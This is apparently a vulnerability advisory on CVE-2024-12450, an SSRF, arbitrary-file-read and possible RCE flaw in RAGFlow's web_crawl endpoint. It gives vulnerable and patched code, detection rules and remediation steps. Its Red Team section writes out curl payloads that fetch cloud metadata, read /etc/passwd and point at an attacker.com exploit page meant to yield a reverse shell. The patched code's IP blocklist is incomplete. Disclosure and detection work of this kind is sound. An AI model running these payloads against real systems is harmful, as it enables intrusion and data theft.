CVE-2024-12450
Executive Summary
CVE-2024-12450 is a critical vulnerability in Infiniflow RAGFlow version 0.12.0, affecting the web_crawl function in document_app.py. The vulnerability allows an unauthenticated attacker to perform Server-Side Request Forgery (SSRF) to access internal network resources, read arbitrary files on the server via the file protocol, and potentially achieve Remote Code Execution (RCE) through an outdated Chromium headless browser running with --no-sandbox mode. The CVSS score is 6.5 (Medium), but the combination of SSRF, arbitrary file read, and RCE potential elevates the risk significantly. The vulnerability is resolved in version 0.14.0.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is in a Python-based application (RAGFlow). The application uses a Chromium headless browser, which is a common dependency in web scraping and PDF generation tools. The outdated Chromium version introduces supply chain risk, as the vulnerability is inherited from the Chromium project. Users must ensure they update to the latest RAGFlow version and verify the integrity of the Chromium binary used.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication is needed.
- User Interaction (UI): None (N) – No user action is required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – SSRF and arbitrary file read can expose sensitive data.
- Integrity (I): None (N) – No data modification is possible.
- Availability (A): None (N) – No denial of service.
Threat Level: High. While the CVSS base score is 6.5, the potential for RCE via Chromium vulnerabilities and the ease of exploitation (no authentication, low complexity) make this a critical threat in real-world environments.
Deep Dive & Mechanics
The web_crawl function in document_app.py is designed to fetch a URL, render it using a headless Chromium browser, and generate a PDF. The vulnerability stems from three key issues:
No URL Filtering (SSRF): The function does not validate or sanitize the URL parameter. An attacker can provide internal IP addresses (e.g.,
http://192.168.1.1) or internal services (e.g.,http://169.254.169.254for cloud metadata). The Chromium browser will fetch these resources, and the content will be embedded in the generated PDF, which the attacker can then retrieve.File Protocol Allowed (Arbitrary File Read): The function does not block the
file://protocol. An attacker can usefile:///etc/passwdto read arbitrary files on the server. The content of the file will be rendered in the PDF.Outdated Chromium with
--no-sandbox(RCE): The application uses an outdated version of Chromium headless with the--no-sandboxflag. This disables the Chromium sandbox, which is a critical security layer. Known vulnerabilities in Chromium's V8 engine (e.g., CVE-2023-2033, CVE-2023-2136) can be exploited to achieve RCE. An attacker can craft a malicious HTML page that, when rendered by the vulnerable Chromium, executes arbitrary code on the server.
The attack flow is:
- Attacker sends a POST request to the
web_crawlendpoint with a malicious URL. - The server launches Chromium headless with
--no-sandboxand navigates to the URL. - Chromium fetches the resource (internal IP, file, or malicious HTML).
- The content is rendered and saved as a PDF.
- The attacker retrieves the PDF, which contains the sensitive data or triggers RCE.
Vulnerable vs. Patched Code
Vulnerable Code (version 0.12.0):
# document_app.py
def web_crawl(url):
# No URL validation
options = webdriver.ChromeOptions()
options.add_argument('--headless')
options.add_argument('--no-sandbox') # Disables sandbox
driver = webdriver.Chrome(options=options)
driver.get(url) # No restrictions on URL scheme or target
# ... generate PDF from page content
return pdf_content
Patched Code (version 0.14.0):
# document_app.py
import re
from urllib.parse import urlparse
def web_crawl(url):
# Validate URL scheme and host
parsed = urlparse(url)
if parsed.scheme not in ['http', 'https']:
raise ValueError("Invalid URL scheme")
if parsed.hostname in ['localhost', '127.0.0.1', '0.0.0.0', '::1'] or parsed.hostname.startswith('10.') or parsed.hostname.startswith('172.16.') or parsed.hostname.startswith('192.168.'):
raise ValueError("Internal addresses not allowed")
# Use updated Chromium with sandbox enabled
options = webdriver.ChromeOptions()
options.add_argument('--headless')
# Sandbox is now enabled by default
driver = webdriver.Chrome(options=options)
driver.get(url)
# ... generate PDF
return pdf_content
Exploitation & Lab Setup
Red Team
Prerequisites:
- A target running RAGFlow 0.12.0.
- Network access to the RAGFlow API endpoint (typically port 9380).
Exploitation Steps:
SSRF to Read Internal Metadata:
curl -X POST http://target:9380/api/v1/document/web_crawl \ -H "Content-Type: application/json" \ -d '{"url": "http://169.254.169.254/latest/meta-data/"}'The response will contain a PDF with the cloud metadata.
Arbitrary File Read:
curl -X POST http://target:9380/api/v1/document/web_crawl \ -H "Content-Type: application/json" \ -d '{"url": "file:///etc/passwd"}'The PDF will contain the contents of
/etc/passwd.RCE via Chromium Exploit:
- Host a malicious HTML page on an attacker-controlled server.
- The HTML page contains a JavaScript exploit for a known Chromium V8 vulnerability (e.g., CVE-2023-2033).
- Send the request:
curl -X POST http://target:9380/api/v1/document/web_crawl \ -H "Content-Type: application/json" \ -d '{"url": "http://attacker.com/exploit.html"}' - The Chromium browser will execute the exploit, giving the attacker a reverse shell.
Note: No public exploit code is available at this time.
Blue Team
Detection:
- Monitor for POST requests to
/api/v1/document/web_crawlwith suspicious URLs (internal IPs,file://scheme, or external URLs to known malicious domains). - Look for anomalous Chromium processes running with
--no-sandboxflag. - Monitor outbound network connections from the RAGFlow server to internal IPs or unusual external hosts.
Hunting:
- Search logs for
web_crawlfunction calls with URLs containingfile://,169.254.,10.,172.16.,192.168., orlocalhost. - Check for PDF files generated with unexpected content (e.g., system files).
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/api/v1/document/web_crawlwithfile://URLs. - Outbound connections to internal IP addresses (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x) from the RAGFlow server.
- Connections to known malicious IPs hosting exploit pages.
- POST requests to
File IOCs:
- PDF files containing system file contents (e.g.,
/etc/passwd,/etc/shadow). - Unexpected PDF files in the RAGFlow output directory.
- PDF files containing system file contents (e.g.,
Process IOCs:
- Chromium processes running with
--no-sandboxflag. - Chromium processes making outbound connections to internal IPs.
- Chromium processes running with
Detection Engineering
YARA Rule
rule CVE_2024_12450_SSRF_FileRead {
meta:
description = "Detects attempts to exploit CVE-2024-12450 via file:// or internal IP URLs in RAGFlow web_crawl requests"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-12450"
strings:
$file_protocol = "file://" ascii wide nocase
$internal_ip1 = "169.254." ascii wide nocase
$internal_ip2 = "10." ascii wide nocase
$internal_ip3 = "172.16." ascii wide nocase
$internal_ip4 = "192.168." ascii wide nocase
$localhost = "localhost" ascii wide nocase
condition:
any of ($file_protocol, $internal_ip1, $internal_ip2, $internal_ip3, $internal_ip4, $localhost)
}
Sigma Rule
title: CVE-2024-12450 RAGFlow SSRF and Arbitrary File Read
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to RAGFlow web_crawl endpoint with suspicious URLs
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/v1/document/web_crawl'
cs-uri-query|contains:
- 'file://'
- '169.254.'
- '10.'
- '172.16.'
- '192.168.'
- 'localhost'
condition: selection
falsepositives:
- Legitimate use of internal URLs (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-12450 RAGFlow SSRF Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/v1/document/web_crawl"; http_uri; content:"file://"; http_client_body; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-12450 RAGFlow Internal IP SSRF"; flow:to_server; content:"POST"; http_method; content:"/api/v1/document/web_crawl"; http_uri; pcre:"/(169\.254\.|10\.|172\.16\.|192\.168\.|localhost)/Ri"; sid:1000002; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade RAGFlow to version 0.14.0 or later.
- If upgrade is not possible, apply a virtual patch by implementing a Web Application Firewall (WAF) rule to block requests to
/api/v1/document/web_crawlwith URLs containingfile://, internal IPs, or localhost. - Disable the
web_crawlfunctionality temporarily by removing or commenting out the endpoint in the application code.
Long-term Mitigations:
- Ensure all dependencies (especially Chromium) are kept up to date.
- Enable the Chromium sandbox (remove
--no-sandboxflag) and use a secure configuration. - Implement strict URL validation and allowlisting for the
web_crawlfunction. - Use network segmentation to limit the RAGFlow server's access to internal resources.
- Monitor logs for suspicious activity and implement alerting.
Valters IT